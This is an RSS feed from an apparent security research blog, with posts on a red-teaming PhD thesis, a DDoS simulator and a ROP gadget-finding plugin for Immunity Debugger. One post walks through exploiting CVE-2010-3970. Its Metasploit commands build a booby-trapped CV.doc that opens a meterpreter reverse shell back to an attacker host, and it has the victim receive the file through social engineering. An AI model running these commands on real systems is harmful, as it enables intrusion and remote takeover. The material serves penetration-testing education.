<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>StormSecurity</title>
	<atom:link href="http://stormsecurity.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://stormsecurity.wordpress.com</link>
	<description>IT Security Research and Services</description>
	<lastBuildDate>Wed, 25 Jan 2012 09:39:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='stormsecurity.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>StormSecurity</title>
		<link>http://stormsecurity.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://stormsecurity.wordpress.com/osd.xml" title="StormSecurity" />
	<atom:link rel='hub' href='http://stormsecurity.wordpress.com/?pushpress=hub'/>
		<item>
		<title>My PhD Thesis</title>
		<link>http://stormsecurity.wordpress.com/2012/01/21/my-phd-thesis/</link>
		<comments>http://stormsecurity.wordpress.com/2012/01/21/my-phd-thesis/#comments</comments>
		<pubDate>Sat, 21 Jan 2012 18:16:49 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=371</guid>
		<description><![CDATA[In September 2011 I successfully defended my PhD Thesis at the Military Technical Academy of Bucharest. It was a beautiful moment of my life and I want to thank everyone who stood there by me. Because several people asked me to publish my work, here it is. Title: Proactive Cyber Security by Red Teaming Acknowledgements: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=371&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">In September 2011 I successfully defended my PhD Thesis at the Military Technical Academy of Bucharest. It was a beautiful moment of my life and I want to thank everyone who stood there by me.</p>
<p style="text-align:justify;">Because several people asked me to publish my work, <a title="PhD Thesis Adrian Furtuna - Proactive Cyber Security by Red Teaming" href="http://stormsecurity.files.wordpress.com/2012/01/phd_thesis_adrian_furtuna.pdf" target="_blank">here it is</a>.</p>
<p><strong>Title: </strong><em><a title="PhD Thesis Adrian Furtuna - Proactive Cyber Security by Red Teaming" href="http://stormsecurity.files.wordpress.com/2012/01/phd_thesis_adrian_furtuna.pdf" target="_blank">Proactive Cyber Security by Red Teaming</a></em></p>
<p style="text-align:justify;"><strong>Acknowledgements:</strong></p>
<p style="text-align:justify;">It is a pleasure for me to thank all the people who made this Thesis possible.</p>
<p style="text-align:justify;">I am deeply grateful to my supervisor, prof. dr. ing. Victor-Valeriu Patriciu for his valuable advice and for his great ideas that he shared with me during the doctoral program. His academic experience and his close supervision made me feel this work easier than it really was.</p>
<p style="text-align:justify;">I also want to thank prof. dr. ing. Ion Bica, Head of &#8220;Computers and Military Information Systems&#8221; Department from the Military Technical Academy of Bucharest for his precious guidelines and critical review of this Thesis.<br />
Many thanks also to my colleagues and friends from KPMG Romania, IT Advisory Department and from Romtelecom, IT Security Department for their informal support and encouragement in realization of this work.</p>
<p style="text-align:justify;">This Thesis would not have been possible without the precious help of my wife, Silvia, whose love and understanding encouraged me to continue my research and finish the work in time, so I sincerely thank her. I would also like to thank my parents for their support and for the education they gave me.</p>
<p style="text-align:justify;"><strong>Abstract:</strong></p>
<p style="text-align:justify;"><em>Our society is dependent on computers and software, which makes it increasingly vulnerable to cybernetic attacks. These attacks affect us at national, organizational and personal levels and are caused by an ineffective approach towards security. Classic security measures &#8211; which are reactive and defensive &#8211; are no longer enough against today&#8217;s cybernetic threats. There is a high need for proactive security measures to effectively protect the information systems.</em></p>
<p style="text-align:justify;"><em>The goal of this Thesis is to bring a set of improvements to the Red Teaming assessment process for information systems. Red Teaming is an advanced form of evaluation which implements the proactive approach towards security. It simulates advanced cyber threats, finds vulnerabilities in the target systems and reports them to systems’ owner, providing a reliable basis for decision making within an organization.</em></p>
<p style="text-align:justify;"><em>In the Thesis we create a comprehensive view of the Red Teaming process, including the perspective of the client and the prespective of the provider. We analyze and implement different attack techniques that can be used during Red Teaming assessments and explore the methods of finding new vulnerabilities in software products with a greater emphasis on the fuzzing technique. Further on, we analyze and implement a set of techniques for vulnerability exploitation on modern operating systems, including the bypass methods for Windows protection mechanisms (Stack Cookies, SafeSEH, DEP and ASLR). In the end we address the problem of creating cyber defense exercises as a method for training Red Team members and system’s defenders and we propose a standard template for creating this type of exercises.</em></p>
<p style="text-align:justify;"><strong>Contents:</strong></p>
<p>List of Tables<br />
List of Figures<br />
Abstract<br />
1. Introduction<br />
2. Current state of cyber security<br />
3. Red Teaming Usage in Securing Information Systems<br />
4. Cyber attack techniques<br />
5. Discovery of software vulnerabilities<br />
6. Exploitation of software vulnerabilities<br />
7. Training the Red Teams using cyber defense exercises<br />
8. Summary, Conclusions and Future work<br />
Bibliography<br />
Appendices</p>
<p>I hope you will find it a pleasant reading.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/371/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/371/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/371/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/371/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/371/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/371/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/371/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/371/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/371/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/371/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/371/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/371/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/371/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/371/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=371&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2012/01/21/my-phd-thesis/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>
	</item>
		<item>
		<title>From Windows thumbnails vulnerability to remote shell</title>
		<link>http://stormsecurity.wordpress.com/2011/01/09/from-windows-thumbnails-to-remote-shell/</link>
		<comments>http://stormsecurity.wordpress.com/2011/01/09/from-windows-thumbnails-to-remote-shell/#comments</comments>
		<pubDate>Sun, 09 Jan 2011 22:12:29 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Penetration testing]]></category>
		<category><![CDATA[0-day]]></category>
		<category><![CDATA[CreateSizedDIBSECTION]]></category>
		<category><![CDATA[CVE-2010-3970]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=342</guid>
		<description><![CDATA[Beware of thubnails! CVE-2010-3970 &#8211; Windows Graphics Rendering Engine vulnerability &#8211; is still a 0-day (9 January 2011) and the exploit is public. Exploitation is pretty easy.The victim just needs to view a file like CV.doc in Windows Explorer &#8211; thumbnails mode &#8211; and the payload gets executed on a fully patched Windows XP SP3 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=342&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h4><strong>Beware of thubnails!</strong></h4>
<p>CVE-2010-3970 &#8211; <a title="Microsoft Advisory" href="http://www.microsoft.com/technet/security/advisory/2490606.mspx">Windows Graphics Rendering Engine vulnerability</a> &#8211; is still a 0-day (9 January 2011) and the <a title="Metasploit exploit" href="http://www.metasploit.com/redmine/projects/framework/repository/changes/modules/exploits/windows/fileformat/ms11_xxx_createsizeddibsection.rb">exploit</a> is public.</p>
<p>Exploitation is pretty easy.The victim just needs to view a file like <a href="http://stormsecurity.files.wordpress.com/2011/01/cv.doc">CV.doc</a> in Windows Explorer &#8211; <strong>thumbnails mode</strong> &#8211; and the payload gets executed on a fully patched Windows XP SP3 machine.</p>
<p>This thumbnail (<a href="http://stormsecurity.files.wordpress.com/2011/01/cv.doc">CV.doc</a>)executes the Windows calculator:</p>
<p style="text-align:center;">
<div id="attachment_346" class="wp-caption aligncenter" style="width: 310px"><a href="http://stormsecurity.files.wordpress.com/2011/01/exploit_thumbnail_1.png"><img class="size-medium wp-image-346" style="border:0 none;margin:0;" title="exploit_thumbnail_1" src="http://stormsecurity.files.wordpress.com/2011/01/exploit_thumbnail_1.png?w=300&#038;h=209" alt="Exploit thumbnail vulnerability" width="300" height="209" /></a><p class="wp-caption-text">Exploiting the thumbnail vulnerability CVE-2010-3970</p></div>
<p>Things can get more serious when the attacker is able to open a meterpreter session with the victim&#8217;s machine. This can also be easily accomplished with Metasploit:</p>
<h4><strong>1. Creating the malicious thumbnail in msfconsole:</strong></h4>
<p><code>msf &gt; use exploit/windows/fileformat/ms11_xxx_createsizeddibsection<br />
&gt; show options<br />
&gt; set FILENAME CV.doc<br />
&gt; set OUTPUTPATH /root<br />
&gt; set PAYLOAD windows/meterpreter/reverse_tcp<br />
&gt; set LHOST 192.168.84.1<br />
&gt; set LPORT 80<br />
&gt; exploit<br />
</code></p>
<h4><strong>2. Sending the thumbnail to the victim (e.g. by social engineering attack).</strong></h4>
<h4><strong>3. Listening for incoming connections on the attacker machine:</strong></h4>
<p><code>msf &gt; use exploit/multi/handler<br />
&gt; set PAYLOAD windows/meterpreter/reverse_tcp<br />
&gt; set LHOST 192.168.84.1<br />
&gt; set LPORT 80<br />
&gt; exploit<br />
</code></p>
<h4>Et voila! The shell we were waiting for&#8230;</h4>
<div id="attachment_350" class="wp-caption aligncenter" style="width: 460px"><a href="http://stormsecurity.files.wordpress.com/2011/01/meterpreter.png"><img class="size-full wp-image-350" title="meterpreter" src="http://stormsecurity.files.wordpress.com/2011/01/meterpreter.png?w=450&#038;h=75" alt="Meterpreter session" width="450" height="75" /></a><p class="wp-caption-text">Meterpreter session open</p></div>
<p>Until a patch will be provided, Microsoft clients can use the <strong>Fix it tool</strong> described in this <a href="http://support.microsoft.com/kb/2490606">support page</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/342/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=342&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2011/01/09/from-windows-thumbnails-to-remote-shell/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>

		<media:content url="http://stormsecurity.files.wordpress.com/2011/01/exploit_thumbnail_1.png?w=300" medium="image">
			<media:title type="html">exploit_thumbnail_1</media:title>
		</media:content>

		<media:content url="http://stormsecurity.files.wordpress.com/2011/01/meterpreter.png" medium="image">
			<media:title type="html">meterpreter</media:title>
		</media:content>
	</item>
		<item>
		<title>Red Teaming Usage for Assessing Information Security</title>
		<link>http://stormsecurity.wordpress.com/2010/12/23/considerations-about-red-teaming-usage-in-assessing-information-assurance/</link>
		<comments>http://stormsecurity.wordpress.com/2010/12/23/considerations-about-red-teaming-usage-in-assessing-information-assurance/#comments</comments>
		<pubDate>Thu, 23 Dec 2010 15:27:16 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[Cyber Defense]]></category>
		<category><![CDATA[assessment]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[red teaming]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=329</guid>
		<description><![CDATA[Red Teaming of information systems is an advanced form of assessment performed by a team of highly skilled penetration testers and security specialists. Considerations about Red Teaming Usage in Assessing Information Assurance is an article that I have recently written and presented to SECITC 2010 security conferece. Please find below the abstract and table of [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=329&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Red Teaming of information systems is an advanced form of assessment performed by a team of highly skilled penetration testers and security specialists.</p>
<p><em><a href="http://stormsecurity.files.wordpress.com/2010/12/considerations-about-red-teaming-usage-in-assessing-information-assurance.pdf">Considerations about Red Teaming Usage in Assessing Information Assurance</a></em> is an article that I have recently written and presented to <a title="SECITC 2010" href="http://www.secitc.eu/secitc2010/index.jspx" target="_blank">SECITC 2010</a> security conferece. Please find below the abstract and table of contents which should increase your interest for reading it.</p>
<p><strong><em>Abstract:</em></strong> Red Teaming is an advanced form of assessment that models and simulates adversary actions with the overall purpose of discovering target’s weaknesses and improving its defenses. Also known as ethical hacking, penetration testing or security assessment, Red Teaming of information systems offers reliable information about the effectiveness of defense mechanisms implemented. The paper presents the Red Teaming process from both perspectives: the client and the assessor, covering various aspects like: motivation, assessment types, client benefits, client risks, assessment planning, team organization, attack preparation, execution and reporting.</p>
<p><strong>Contents:</strong></p>
<ol>
<li>Introduction</li>
<li>What is Red Teaming?</li>
<li>Red Teaming assessment from the client’s perspective
<ul>
<li>Why should an organization use a Red Teaming assessment?</li>
<li>When is the best time to use a Red Teaming assessment?</li>
<li>What are the benefits for the client?</li>
<li>What are the risks for the client?</li>
<li>What type of assessment should be chosen?</li>
<li>Who can be the target?</li>
</ul>
</li>
<li>Red Teaming assessment from the provider’s perspective
<ul>
<li>Define assessment objectives</li>
<li>Assemble the Red Team</li>
<li>Reverse engineer the target</li>
<li>Create and validate attack trees</li>
<li>Assign Red Team members to attacks</li>
<li>Prepare tools and methods</li>
<li>Perform collaborative attacks</li>
<li>Create the report</li>
<li>Explain report to client</li>
</ul>
</li>
<li>Conclusions</li>
</ol>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/329/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/329/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/329/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/329/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/329/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/329/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/329/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=329&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2010/12/23/considerations-about-red-teaming-usage-in-assessing-information-assurance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>
	</item>
		<item>
		<title>New version of ddosim &#8211; DDOS simulator</title>
		<link>http://stormsecurity.wordpress.com/2010/11/04/new-version-of-ddosim-ddos-simulator/</link>
		<comments>http://stormsecurity.wordpress.com/2010/11/04/new-version-of-ddosim-ddos-simulator/#comments</comments>
		<pubDate>Thu, 04 Nov 2010 22:06:13 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[DDoS]]></category>
		<category><![CDATA[Tools (StormSecurity)]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=324</guid>
		<description><![CDATA[I am pleased to announce a new version of ddosim (v0.2) &#8211; the application layer DDOS simulator. It can be downloaded from http://sourceforge.net/projects/ddosim/. For documentation and use cases please see this post. If you have any questions, don&#8217;t hesitate to ask!<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=324&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I am pleased to announce a new version of <em>ddosim</em> (v0.2) &#8211; the application layer DDOS simulator. It can be downloaded from <a href="http://sourceforge.net/projects/ddosim/">http://sourceforge.net/projects/ddosim/</a>.</p>
<p>For documentation and use cases please see <a href="http://stormsecurity.wordpress.com/2009/03/03/application-layer-ddos-simulator/">this</a> post.</p>
<p>If you have any questions, don&#8217;t hesitate to ask!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/324/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=324&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2010/11/04/new-version-of-ddosim-ddos-simulator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>
	</item>
		<item>
		<title>Backward disassembler for ROP exploitation</title>
		<link>http://stormsecurity.wordpress.com/2010/09/17/backward-disassembler-for-rop-exploitation/</link>
		<comments>http://stormsecurity.wordpress.com/2010/09/17/backward-disassembler-for-rop-exploitation/#comments</comments>
		<pubDate>Fri, 17 Sep 2010 12:24:27 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[Exploit development]]></category>
		<category><![CDATA[Tools (StormSecurity)]]></category>
		<category><![CDATA[backward disassembler]]></category>
		<category><![CDATA[disassembler]]></category>
		<category><![CDATA[exploit development]]></category>
		<category><![CDATA[immunity debugger]]></category>
		<category><![CDATA[return oriented programming]]></category>
		<category><![CDATA[rop]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=265</guid>
		<description><![CDATA[bdasm is a PyCommand that I wrote for Immunity Debugger (v 1.73) which can search the address space of a process for a certain opcode/instruction and dissasemble backward and forward for a  specified number of instructions. <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=265&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a title="bdasm - a backward disassembler" href="http://www.box.net/shared/eyzyeb7uz9" target="_blank">bdasm</a> is a PyCommand that I wrote for Immunity Debugger (v 1.73) which can search the address space of a process for a certain opcode/instruction and dissasemble backward and forward for a  specified number of instructions. </p>
<p>This is especially useful in the exploit development process when existing gadget finding tools do not produce the results you need and you must extend your search manually. </p>
<p>When using the <a title="ROP paper" href="http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html" target="_blank">return-oriented-programming </a>(ROP) technique for exploit development, you usually need to find useful instructions followed by RET. There are some tools to search for these gadgets (ex. <a title="pvefindaddr" href="http://redmine.corelan.be:8800/projects/pvefindaddr" target="_blank">pvefindaddr</a>) but what if they do not find the gadgets you need? The search must be extended and <a title="bdasm - a backward disassembler" href="http://www.box.net/shared/eyzyeb7uz9" target="_blank">bdasm</a> is the tool you need. </p>
<p>Use case scenarios: </p>
<p><strong><span style="color:#ffcc00;">Example 1:</span></strong> Search for all occurences of instruction <strong>xchg eax,esp</strong> in the address space of module kernel32.dll and display the instructions before and after. Display results only if the page is executable (-e) and if the instructions after contain a RET (-r). The space character from an instruction must be replaced by _ : </p>
<p><strong>!bdasm -i xchg_eax,esp -m kernel32.dll -e -r</strong> </p>
<div id="attachment_269" class="wp-caption aligncenter" style="width: 460px"><a href="http://stormsecurity.files.wordpress.com/2010/09/disasm_instr.png"><img class="size-full wp-image-269" title="disasm_at_instruction" src="http://stormsecurity.files.wordpress.com/2010/09/disasm_instr.png?w=450&#038;h=212" alt="Search for instruction and disassemble" width="450" height="212" /></a><p class="wp-caption-text">Disassemble at instruction</p></div>
<p><strong>Notes:</strong></p>
<ul>
<li>As you can see in the screenshots, backward disassembling can produce multiple results from the same starting address because x86 instructions have variable lengths</li>
<li>Backward disassembling does not always produce results when it is started from an arbitrary address because the previous bytes of that address do not always form a valid instruction</li>
<li>bdasm tries to go backwards as many instructions as it can find, implementing a kind of backtracking algorithm</li>
</ul>
<p><strong><span style="color:#ffcc00;">Example 2:</span></strong> Search for all occurences of <strong>add esp, xxx</strong> in module kernel32.dll<strong>.</strong> To do this, we assemble the instruction <em>add esp, 50</em> and we obtain the opcode <em>81c450</em><strong>. </strong>So we will search for all occurences of the byte sequence <strong>81c4</strong> in module msvcrt.dll<strong>:</strong></p>
<p><strong>!bdasm -o 83c4 -m msvcrt.dll -e -r</strong></p>
<div id="attachment_272" class="wp-caption aligncenter" style="width: 460px"><a href="http://stormsecurity.files.wordpress.com/2010/09/disasm_opcode.png"><img class="size-full wp-image-272" title="disasm_at_opcode" src="http://stormsecurity.files.wordpress.com/2010/09/disasm_opcode.png?w=450&#038;h=200" alt="" width="450" height="200" /></a><p class="wp-caption-text">Disassemble at opcode / byte sequence</p></div>
<p><strong><span style="color:#ffcc00;">Example 3:</span></strong> Disassemble (backward and forward) from a specific address. Print maximum 4 instructions backward and 6 instructions forward:</p>
<p><strong>!bdasm -a 71ad26b1 -b 4 -f 6</strong></p>
<div id="attachment_285" class="wp-caption aligncenter" style="width: 460px"><a href="http://stormsecurity.files.wordpress.com/2010/09/disasm_at_address2.png"><img class="size-full wp-image-285" title="disasm_at_address2" src="http://stormsecurity.files.wordpress.com/2010/09/disasm_at_address2.png?w=450&#038;h=315" alt="" width="450" height="315" /></a><p class="wp-caption-text">Disassemble at address</p></div>
<p><strong> </strong></p>
<p><strong>Installation and usage:</strong></p>
<p>Copy <a title="bdasm - a backward disassembler" href="http://www.box.net/shared/eyzyeb7uz9" target="_blank">bdasm.py</a> into the PyCommands directory of your Immunity Debugger installation (my path is C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands)</p>
<p>For usage instructions type: !bdasm in the Command Bar of Immunity Debugger.</p>
<p>Hoping that this tool will be useful to you, do not hesitate to send me any feedback!</p>
<p>Cheers,</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/265/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=265&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2010/09/17/backward-disassembler-for-rop-exploitation/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
